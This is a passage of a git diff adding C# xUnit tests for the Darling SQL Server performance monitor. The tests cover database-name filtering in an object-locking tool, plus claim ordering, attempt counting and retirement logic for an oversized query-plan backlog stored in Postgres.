+                new("server_name", serverName), new("database_name", B),
+                new("detail_database", A), new("detail_schema", "dbo"), new("detail_table", "T_IX_a1"), new("detail_index", "IX_a1"),
+            };
+            var context = new DefaultHttpContext();
+            context.Request.QueryString = QueryString.Create(query);
+            var detail = JsonDocument.Parse(await DarlingWebEndpoints.BuildReadDispatch()["get_object_locking"](context, postgres, null!)).RootElement;
+            Assert.Equal(A, detail.GetProperty("detail").GetProperty("database_name").GetString());
+        }, Cleanup);
+
+    [Fact]
+    public Task ObjectLockingTool_DatabaseName_LimitsTheAnswerToThatDatabase_BlankMeansAll() =>
+        WithStoreAsync("obj-filter-locking-param", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await SeedThreeAsync(connection, ct, serverId, serverName, now);
+
+            var one = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName, database_name: A, cancellationToken: ct)).RootElement;
+            Assert.Equal([A], JsonDatabases(one, "objects"));
+            Assert.Equal(2, one.GetProperty("objects").GetArrayLength());
+
+            foreach (var blank in new string?[] { null, "", "   " })
+            {
+                var all = JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName, database_name: blank, cancellationToken: ct)).RootElement;
+                Assert.Equal([A, B, C], JsonDatabases(all, "objects"));
+            }
+
+            /* The positional shape the tool has always had still means "every database". */
+            Assert.Equal([A, B, C], JsonDatabases(JsonDocument.Parse(await DarlingMcpObjectStatsTools.GetObjectLocking(postgres, serverName, 75)).RootElement, "objects"));
+        }, Cleanup);
+
+    private static async Task WithStoreAsync(
+        string serverName, Func<NpgsqlConnection, NpgsqlDataSource, int, string, DateTime, CancellationToken, Task> body, string cleanupSql)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live object-stats database filter tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+        var cleanup = string.Format(System.Globalization.CultureInfo.InvariantCulture, cleanupSql, serverId)
+                      + string.Format(System.Globalization.CultureInfo.InvariantCulture, "; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+            await body(connection, postgres, serverId, serverName, DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-1), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/OptimizedLockingNoteTests.cs b/Darling/Darling.Tests/OptimizedLockingNoteTests.cs
index f712b79c44..c991f90402 100644
--- a/Darling/Darling.Tests/OptimizedLockingNoteTests.cs
+++ b/Darling/Darling.Tests/OptimizedLockingNoteTests.cs
@@ -28,6 +28,7 @@ namespace Darling.Tests;
 /// unknown flag gives JSON null. The existing <c>note</c> field is untouched.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class OptimizedLockingNoteLivePostgresTests
 {
     private const string ServerName = "darling-optimized-locking-note-e2e";
@@ -132,6 +133,8 @@ private static async Task DeleteRowsAsync(NpgsqlConnection connection, Cancellat
 
 /// <summary>Source pins for the surfaces that show the optimized-locking note: the web descriptor and the two
 /// WPF loaders.</summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class OptimizedLockingNoteSurfacePinTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/OrphanStatePruneTests.cs b/Darling/Darling.Tests/OrphanStatePruneTests.cs
index 6a725363e2..e8366c33ad 100644
--- a/Darling/Darling.Tests/OrphanStatePruneTests.cs
+++ b/Darling/Darling.Tests/OrphanStatePruneTests.cs
@@ -19,6 +19,7 @@
 namespace Darling.Tests;
 
 /// <summary>#4660: the orphaned per-database state prune runs at most hourly per server, through one shared rule.</summary>
+[Trait("Reads", "Lite")]
 public class OrphanStatePruneTests
 {
     private static readonly DateTime Now = new(2026, 9, 28, 12, 0, 0, DateTimeKind.Utc);
diff --git a/Darling/Darling.Tests/OversizedPlanBacklogJudgeRetireLivePostgresTests.cs b/Darling/Darling.Tests/OversizedPlanBacklogJudgeRetireLivePostgresTests.cs
new file mode 100644
index 0000000000..f177082a4d
--- /dev/null
+++ b/Darling/Darling.Tests/OversizedPlanBacklogJudgeRetireLivePostgresTests.cs
@@ -0,0 +1,412 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the one test here mints its own scratch database through ScratchPostgres and touches nothing
+   on the shared one. */
+
+/// <summary>
+/// #5320: a plan the judging budget keeps failing to cover ends. The store half of that is the part a unit test of
+/// <see cref="OversizedPlanBacklogSweep.JudgeFetchedPlan"/> cannot reach: the claim carries <c>attempt_count</c>, a
+/// first failure leaves the row claimable, and the terminal marker is stored once and the claim never returns the
+/// row again.
+/// </summary>
+public sealed class OversizedPlanBacklogJudgeRetireLivePostgresTests
+{
+    private const int ServerId = 4101;
+    private const string PlanHandle = "0xOVERRUN";
+
+    [Fact]
+    public async Task APlanThatKeepsOverrunningTheJudgingBudget_IsClaimedOnce_ThenStoredAsTheMarker_AndNeverClaimedAgain()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live oversized-plan judging-retire test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, null, ct);
+
+        await ExecuteAsync(connection,
+            @"INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (4101, 'fixture-server', TRUE);
+INSERT INTO collect.oversized_plan_backlog
+(server_id, collector_name, plan_handle, sql_handle, statement_start_offset, statement_end_offset,
+ database_name, query_hash, observed_bytes, first_seen_at, last_seen_at)
+VALUES (4101, 'query_stats', '0xOVERRUN', '0xSQL', 0, 400, 'fixture_db', '0xHASH',
+        900000, '2026-09-10 08:00:00', '2026-09-13 08:00:00');", ct);
+
+        var plan = StatementScrubCanary.CanaryPlan();
+
+        /* Pass 1: the row has never been attempted, the plan overruns the budget, and the verdict leaves it claimable. */
+        var first = await ClaimAsync(connection, ct);
+        Assert.Equal(0, Assert.Single(first));
+
+        var (firstVerdict, _, _) = OversizedPlanBacklogSweep.JudgeFetchedPlan(OverrunningSession(), plan, first[0]);
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.JudgeTimedOut, firstVerdict);
+        await RecordAsync(connection, OversizedPlanBacklogSweep.OutcomeSql(firstVerdict), null, ct);
+
+        /* A connect failure between the passes, and an expiry that a re-sighting then clears, add no attempt (#5367
+           review, A-M1): the row still has one judge timeout against it, so the next overrun is the terminal one. */
+        await RecordAsync(connection, OversizedPlanBacklogSweep.OutcomeSql(OversizedPlanBacklogSweep.PlanFetchVerdict.Failed), null, ct);
+        Assert.Equal(1, Assert.Single(await ClaimAsync(connection, ct)));
+        await RecordAsync(connection, OversizedPlanBacklogSweep.OutcomeSql(OversizedPlanBacklogSweep.PlanFetchVerdict.Expired), null, ct);
+        await ExecuteAsync(connection, "UPDATE collect.oversized_plan_backlog SET expired_at = NULL WHERE plan_handle = '0xOVERRUN';", ct);
+
+        /* Pass 2: the claim hands the row back with its attempt count, and the second overrun is terminal. */
+        var second = await ClaimAsync(connection, ct);
+        Assert.Equal(1, Assert.Single(second));
+
+        var (secondVerdict, marker, _) = OversizedPlanBacklogSweep.JudgeFetchedPlan(OverrunningSession(), plan, second[0]);
+        Assert.Equal(OversizedPlanBacklogSweep.PlanFetchVerdict.Captured, secondVerdict);
+        Assert.Equal(SensitiveStatements.PlaceholderText, marker);
+        await RecordAsync(connection, OversizedPlanBacklog.RecordCaptureSql, marker, ct);
+
+        /* Pass 3: resolved. Nothing to claim, and the stored content is the marker and nothing else. */
+        Assert.Empty(await ClaimAsync(connection, ct));
+
+        await using var read = new NpgsqlCommand(
+            "SELECT plan_xml, captured_at IS NOT NULL, attempt_count FROM collect.oversized_plan_backlog WHERE plan_handle = '0xOVERRUN';",
+            connection);
+        await using var reader = await read.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        Assert.Equal(SensitiveStatements.PlaceholderText, reader.GetString(0));
+        Assert.True(reader.GetBoolean(1));
+        Assert.Equal(2, reader.GetInt32(2));
+    }
+
+    /// <summary>
+    /// #5367: a row tried once is not starved by new rows. Two plans are tried on a shared, spent judging budget (the
+    /// clean one and the one that always overruns), then every pass brings three new rows, which the claim used to put
+    /// ahead of them. A tried row is claimed first and judged on a session of its own, so within
+    /// <see cref="PassesToSettle"/> passes the clean plan is stored judged (not retired) and the overrunning one is
+    /// retired as the marker.
+    /// </summary>
+    [Fact]
+    public async Task ARowTriedOnASharedBudget_IsSettledWithinTwoPasses_WhileNewRowsKeepArriving()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live oversized-plan judging-retire test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, null, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        await ExecuteAsync(connection, "INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (4101, 'fixture-server', TRUE);", ct);
+
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+            + "<StmtSimple StatementText=\"" + StatementScrubCanary.PlainStatement + "\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+        var plans = new Dictionary<string, string>(StringComparer.Ordinal)
+        {
+            ["0xHEAVY"] = StatementScrubCanary.CanaryPlan(),
+            ["0xCLEAN"] = plain,
+            ["0xFILL-A"] = plain,
+            ["0xFILL-B"] = plain,
+        };
+
+        /* Setup pass: two filler rows come first and spend the shared budget, so the two plans under test are tried
+           without ever being first, and are left claimable with no attempt counted. */
+        await InsertRowAsync(connection, "0xFILL-A", 3000000, ct);
+        await InsertRowAsync(connection, "0xFILL-B", 2999999, ct);
+        await InsertRowAsync(connection, "0xHEAVY", 900000, ct);
+        await InsertRowAsync(connection, "0xCLEAN", 800000, ct);
+        await RunPassAsync(dataSource, connection, plans, ct);
+
+        Assert.Equal((false, 0), await StateAsync(connection, "0xHEAVY", ct));
+        Assert.Equal((false, 0), await StateAsync(connection, "0xCLEAN", ct));
+
+        var settledAfter = 0;
+        for (var pass = 1; pass <= PassesToSettle + 3; pass++)
+        {
+            /* A steady supply of new rows, bigger than the tried ones, each pass. */
+            for (var i = 0; i < 3; i++)
+            {
+                var handle = "0xNEW-" + pass + "-" + i;
+                await InsertRowAsync(connection, handle, 2000000 + i, ct);
+                plans[handle] = plain;
+            }
+
+            await RunPassAsync(dataSource, connection, plans, ct);
+
+            if (settledAfter == 0
+                && (await StateAsync(connection, "0xHEAVY", ct)).Captured
+                && (await StateAsync(connection, "0xCLEAN", ct)).Captured)
+            {
+                settledAfter = pass;
+            }
+        }
+
+        Assert.True(settledAfter is > 0 and <= PassesToSettle,
+            "the tried rows were not both settled within " + PassesToSettle + " passes (settled after pass " + settledAfter + ")");
+
+        /* The plan that always overruns is the marker, the one that only overran the shared budget is judged and stored. */
+        Assert.Equal(SensitiveStatements.PlaceholderText, await ContentAsync(connection, "0xHEAVY", ct));
+        var clean = await ContentAsync(connection, "0xCLEAN", ct);
+        Assert.NotEqual(SensitiveStatements.PlaceholderText, clean);
+        Assert.Contains(StatementScrubCanary.PlainStatement, clean, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5367 review round 2, N2: ten rows whose fetch always fails do not stop the backlog. A failed fetch is not
+    /// counted and never retires, and the claim used to put tried rows first, so those ten filled every claim and a
+    /// new row was never claimed. Now a claim takes at most half its slots for tried rows: with a steady supply of
+    /// new rows, a new row is claimed and settled in every pass, and the failing rows are still retried (five a
+    /// pass, oldest attempt first). With fewer new rows than their half, the tried rows fill the rest.
+    /// </summary>
+    [Fact]
+    public async Task TenRowsWhoseFetchAlwaysFails_DoNotKeepANewRowOutOfTheClaim()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live oversized-plan judging-retire test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, null, ct);
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        await ExecuteAsync(connection, "INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES (4101, 'fixture-server', TRUE);", ct);
+
+        var plain = "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>"
+            + "<StmtSimple StatementText=\"" + StatementScrubCanary.PlainStatement + "\" /></Statements></Batch></BatchSequence></ShowPlanXML>";
+
+        /* No plan is registered for the failing rows, so every fetch of them fails. Ten rows, the whole claim. */
+        var plans = new Dictionary<string, string>(StringComparer.Ordinal);
+        for (var i = 0; i < 10; i++)
+        {
+            await InsertRowAsync(connection, "0xFAIL-" + i, 5000000 + i, ct);
+        }
+
+        var setup = await RunPassAsync(dataSource, connection, plans, ct);
+        Assert.Equal(10, setup.Count);
+        Assert.All(setup, p => Assert.False(p.Tried));
+
+        /* Three new rows a pass, smaller than the failing ones: each pass claims and settles all three. */
+        var retried = new HashSet<string>(StringComparer.Ordinal);
+        for (var pass = 1; pass <= 4; pass++)
+        {
+            var handles = new List<string>();
+            for (var i = 0; i < 3; i++)
+            {
+                var handle = "0xNEW-" + pass + "-" + i;
+                await InsertRowAsync(connection, handle, 1000 + i, ct);
+                plans[handle] = plain;
+                handles.Add(handle);
+            }
+
+            var claimed = await RunPassAsync(dataSource, connection, plans, ct);
+
+            foreach (var handle in handles)
+            {
+                Assert.True((await StateAsync(connection, handle, ct)).Captured,
+                    handle + " was not claimed and settled in its own pass, so the failing rows are filling the claim");
+            }
+
+            /* The failing rows are still retried, in the slots the three new rows leave: seven of them. */
+            Assert.Equal(10, claimed.Count);
+            Assert.Equal(7, claimed.Count(p => p.Tried));
+
+            /* Oldest attempt first, so the failing rows rotate: all ten are retried within two passes. */
+            if (pass <= 2)
+            {
+                retried.UnionWith(claimed.Where(p => p.Tried).Select(p => p.Observation.PlanHandle));
+            }
+        }
+
+        Assert.Equal(10, retried.Count);
+
+        /* More new rows than their half: the tried rows hold five slots, the largest five new rows take the rest. */
+        for (var i = 0; i < 8; i++)
+        {
+            var handle = "0xBURST-" + i;
+            await InsertRowAsync(connection, handle, 2000 + i, ct);
+            plans[handle] = plain;
+        }
+
+        var burst = await RunPassAsync(dataSource, connection, plans, ct);
+        Assert.Equal(10, burst.Count);
+        Assert.Equal(5, burst.Count(p => p.Tried));
+        Assert.Equal(5, burst.Count(p => !p.Tried));
+        Assert.Equal(
+            new[] { "0xBURST-7", "0xBURST-6", "0xBURST-5", "0xBURST-4", "0xBURST-3" },
+            burst.Where(p => !p.Tried).Select(p => p.Observation.PlanHandle).ToArray());
+
+        /* Tried rows come back first in the claim's order. */
+        Assert.True(burst.Take(5).All(p => p.Tried) && burst.Skip(5).All(p => !p.Tried));
+    }
+
+    /// <summary>Passes after the one that tried a row on a shared budget: the first counts the judge timeout, the
+    /// second stores the marker. A plan that fits a whole budget settles in the first.</summary>
+    private const int PassesToSettle = 2;
+
+    private static SensitiveStatements.Session FakeSession()
+    {
+        var now = TimeSpan.Zero;
+        return new SensitiveStatements.Session(
+            _ =>
+            {
+                now += TimeSpan.FromSeconds(1);
+                return SensitiveStatements.Verdict.Clean;
+            },
+            () => now,
+            TimeSpan.FromMilliseconds(1500),
+            new SensitiveStatements.TimedOutMemo());
+    }
+
+    /// <summary>One sweep pass for the fixture server without the target fetch: the real claim, the real session
+    /// choice, the real judge step and the real outcome statements.</summary>
+    private static async Task<List<OversizedPlanBacklog.PendingPlan>> RunPassAsync(
+        NpgsqlDataSource dataSource, NpgsqlConnection connection, Dictionary<string, string> plans, CancellationToken ct)
+    {
+        var claimed = await OversizedPlanBacklogSweep.ClaimAsync(dataSource, ServerId, ct);
+        var batch = FakeSession();
+        foreach (var plan in claimed)
+        {
+            /* A handle with no plan in the map is a fetch that fails (timeout, driver fault): the row is stamped
+               Failed, which is not counted and never retires it. */
+            var verdict = OversizedPlanBacklogSweep.PlanFetchVerdict.Failed;
+            string? content = null;
+            if (plans.TryGetValue(plan.Observation.PlanHandle, out var planXml))
+            {
+                var session = OversizedPlanBacklogSweep.SessionFor(plan, batch, FakeSession);
+                (verdict, content, _) = OversizedPlanBacklogSweep.JudgeFetchedPlan(session, planXml, plan.AttemptCount);
+            }
+
+            await using var command = new NpgsqlCommand(OversizedPlanBacklogSweep.OutcomeSql(verdict), connection);
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = plan.CollectorName });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = plan.Observation.PlanHandle });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = plan.Observation.SqlHandle });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = plan.Observation.StatementStartOffset });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = plan.Observation.StatementEndOffset });
+            command.Parameters.Add(new NpgsqlParameter
+            {
+                NpgsqlDbType = NpgsqlDbType.Timestamp,
+                Value = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified),
+            });
+            if (verdict == OversizedPlanBacklogSweep.PlanFetchVerdict.Captured)
+            {
+                command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = content });
+            }
+
+            await command.ExecuteNonQueryAsync(ct);
+
+            /* Distinct attempt stamps, in claim order, as the real pass produces. */
+            await Task.Delay(5, ct);
+        }
+
+        return claimed;
+    }
+
+    private static Task InsertRowAsync(NpgsqlConnection connection, string handle, long bytes, CancellationToken ct) =>
+        ExecuteAsync(connection,
+            "INSERT INTO collect.oversized_plan_backlog (server_id, collector_name, plan_handle, sql_handle, statement_start_offset, "
+            + "statement_end_offset, database_name, query_hash, observed_bytes, first_seen_at, last_seen_at) VALUES (4101, 'query_stats', '"
+            + handle + "', '0xSQL', 0, 400, 'fixture_db', '0xHASH', " + bytes + ", '2026-09-10 08:00:00', '2026-09-13 08:00:00');", ct);
+
+    private static async Task<(bool Captured, int Attempts)> StateAsync(NpgsqlConnection connection, string handle, CancellationToken ct)
+    {
+        await using var read = new NpgsqlCommand(
+            "SELECT captured_at IS NOT NULL, attempt_count FROM collect.oversized_plan_backlog WHERE plan_handle = '" + handle + "';",
+            connection);
+        await using var reader = await read.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return (reader.GetBoolean(0), reader.GetInt32(1));
+    }
+
+    private static async Task<string> ContentAsync(NpgsqlConnection connection, string handle, CancellationToken ct)
+    {
+        await using var read = new NpgsqlCommand(
+            "SELECT plan_xml FROM collect.oversized_plan_backlog WHERE plan_handle = '" + handle + "';", connection);
+        return (string)(await read.ExecuteScalarAsync(ct))!;
+    }
+
+    private static SensitiveStatements.Session OverrunningSession()
+    {
+        var now = TimeSpan.Zero;
+        return new SensitiveStatements.Session(
+            _ =>
+            {
+                now += TimeSpan.FromSeconds(1);
+                return SensitiveStatements.Verdict.Clean;
+            },
+            () => now,
+            TimeSpan.FromMilliseconds(1500),
+            new SensitiveStatements.TimedOutMemo());
+    }
+
+    private static async Task<List<int>> ClaimAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var attempts = new List<int>();
+        await using var command = new NpgsqlCommand(
+            OversizedPlanBacklog.ClaimSql(OversizedPlanBacklogSweep.MaxPlansPerServerPerTick), connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            /* The same ordinal the sweep's own claim reads. */
+            attempts.Add(reader.GetInt32(7));
+        }
+
+        return attempts;
+    }
+
+    private static async Task RecordAsync(NpgsqlConnection connection, string sql, string? content, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = ServerId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = "query_stats" });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = PlanHandle });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = "0xSQL" });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 0 });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 400 });
+        command.Parameters.Add(new NpgsqlParameter
+        {
+            NpgsqlDbType = NpgsqlDbType.Timestamp,
+            Value = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified),
+        });
+        if (content is not null)
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = content });
+        }
+
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task ExecuteAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/OversizedPlanBacklogPins.cs b/Darling/Darling.Tests/OversizedPlanBacklogPins.cs
index 83f3dcb35a..696fa2f6c5 100644
--- a/Darling/Darling.Tests/OversizedPlanBacklogPins.cs
+++ b/Darling/Darling.Tests/OversizedPlanBacklogPins.cs
@@ -13,6 +13,7 @@
 using System.Linq;
 using System.Reflection;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -34,6 +35,7 @@ namespace Darling.Tests;
 ///
 /// <para>Every fact here was verified red-first by mutating the shipped behaviour it describes.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class OversizedPlanBacklogPins
 {
     private const string SweepSource = "Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs";
@@ -818,6 +820,7 @@ three of them actually use it. */
             OversizedPlanBacklog.RecordCaptureSql,
             OversizedPlanBacklog.RecordExpirySql,
             OversizedPlanBacklog.RecordAttemptSql,
+            OversizedPlanBacklog.RecordFailureSql,
         })
         {
             foreach (var column in new[]
@@ -829,18 +832,25 @@ three of them actually use it. */
                 Assert.Contains(column, sql, StringComparison.Ordinal);
             }
 
-            /* Every attempt is counted, whatever it established — a chronically unfetchable row has to be
-               legible in the TABLE, not only in a log line nobody greps. */
-            Assert.Contains("attempt_count = attempt_count + 1", sql, StringComparison.Ordinal);
+            /* Every outcome stamps when the row was last tried, which is what puts it at the back of the claim. */
             Assert.Contains("last_attempt_at = $7", sql, StringComparison.Ordinal);
         }
 
+        /* attempt_count is the sweep's retirement limit (#5367 review, A-M1): the capture (which retires the row) and a
+           judge timeout add to it; a connect failure and an expiry do not. */
+        Assert.Contains("attempt_count = attempt_count + 1", OversizedPlanBacklog.RecordCaptureSql, StringComparison.Ordinal);
+        Assert.Contains("attempt_count = attempt_count + 1", OversizedPlanBacklog.RecordAttemptSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("attempt_count", OversizedPlanBacklog.RecordExpirySql, StringComparison.Ordinal);
+        Assert.DoesNotContain("attempt_count", OversizedPlanBacklog.RecordFailureSql, StringComparison.Ordinal);
+
         /* Only the capture stores content, and only the expiry stamps an expiry. A failed fetch established
            nothing about the handle, so it must not retire the row. */
         Assert.Contains("plan_xml = $8", OversizedPlanBacklog.RecordCaptureSql, StringComparison.Ordinal);
         Assert.DoesNotContain("plan_xml", OversizedPlanBacklog.RecordExpirySql, StringComparison.Ordinal);
         Assert.DoesNotContain("plan_xml", OversizedPlanBacklog.RecordAttemptSql, StringComparison.Ordinal);
         Assert.DoesNotContain("expired_at", OversizedPlanBacklog.RecordAttemptSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("plan_xml", OversizedPlanBacklog.RecordFailureSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("expired_at", OversizedPlanBacklog.RecordFailureSql, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -851,15 +861,53 @@ public void TheClaim_SkipsCapturedAndExpiredRows_AndOrdersSoNothingStarves()
         Assert.Contains("captured_at IS NULL", claim, StringComparison.Ordinal);
         Assert.Contains("expired_at IS NULL", claim, StringComparison.Ordinal);
 
-        /* Oldest ATTEMPT first is what makes head-of-line starvation impossible: one plan that can never be
-           fetched cannot occupy a slot every tick forever. Largest plan first only breaks ties among rows
-           never attempted — those are the plans the cap cost the most visibility on. */
-        Assert.Contains("last_attempt_at ASC NULLS FIRST", claim, StringComparison.Ordinal);
+        /* Tried rows rank oldest ATTEMPT first, so a failing plan goes to the back of the tried rows. Largest plan
+           first ranks the rows never attempted — those are the plans the cap cost the most visibility on. */
+        Assert.Contains("last_attempt_at ASC", claim, StringComparison.Ordinal);
         Assert.Contains("observed_bytes DESC", claim, StringComparison.Ordinal);
         Assert.True(
-            claim.IndexOf("last_attempt_at ASC NULLS FIRST", StringComparison.Ordinal)
+            claim.IndexOf("last_attempt_at ASC", StringComparison.Ordinal)
                 < claim.IndexOf("observed_bytes DESC", StringComparison.Ordinal),
             "size overtook attempt age in the claim order — an unfetchable large plan would then starve the rest");
+
+        /* #5367: a row tried once is claimed ahead of the rows never tried (it used to sort behind them, so new rows
+           arriving each pass could keep it waiting without end), and is judged on a session of its own. The returned
+           order is tried first. */
+        Assert.DoesNotContain("NULLS FIRST", claim, StringComparison.Ordinal);
+        var outer = claim[(claim.LastIndexOf(") AS claimed", StringComparison.Ordinal))..];
+        Assert.True(outer.IndexOf("tried DESC", StringComparison.Ordinal) >= 0
+            && outer.IndexOf("tried DESC", StringComparison.Ordinal) < outer.IndexOf("last_attempt_at ASC", StringComparison.Ordinal),
+            "the tried-first key must lead the order the claim returns");
+
+        /* #5367 review round 2, N2: the tried rows hold at most half of a claim, because a fetch that keeps failing is
+           not counted and never retires, so ten of them used to fill every claim and no new row was ever claimed. The
+           other half goes to never-tried rows, and a side that is short leaves its slots to the other. */
+        Assert.Equal(5, OversizedPlanBacklog.TriedRowsPerClaim(OversizedPlanBacklogSweep.MaxPlansPerServerPerTick));
+        Assert.Equal(0, OversizedPlanBacklog.TriedRowsPerClaim(1));
+        Assert.Contains("PARTITION BY (last_attempt_at IS NOT NULL)", claim, StringComparison.Ordinal);
+        Assert.Contains("share_rank <= CASE WHEN tried THEN 5 ELSE 5 END", claim, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 10", claim, StringComparison.Ordinal);
+        Assert.Contains("last_attempt_at IS NOT NULL AS tried", claim, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ATriedRow_IsJudgedOnASessionOfItsOwn_AndANewRowSharesTheBatchSession()
+    {
+        /* #5367: JudgeFetchedPlan retires a plan only on a whole budget, which on the shared session means first in
+           its batch. A row tried before gets a session of its own, so its place in the batch cannot starve it. */
+        var observation = new OversizedPlanObservation("0xPLAN", "0xSQL", 0, 100, "db", null, 1000);
+        var batch = new SensitiveStatements.Session();
+        var fresh = new SensitiveStatements.Session();
+
+        Assert.Same(batch, OversizedPlanBacklogSweep.SessionFor(new OversizedPlanBacklog.PendingPlan("query_stats", observation), batch, () => fresh));
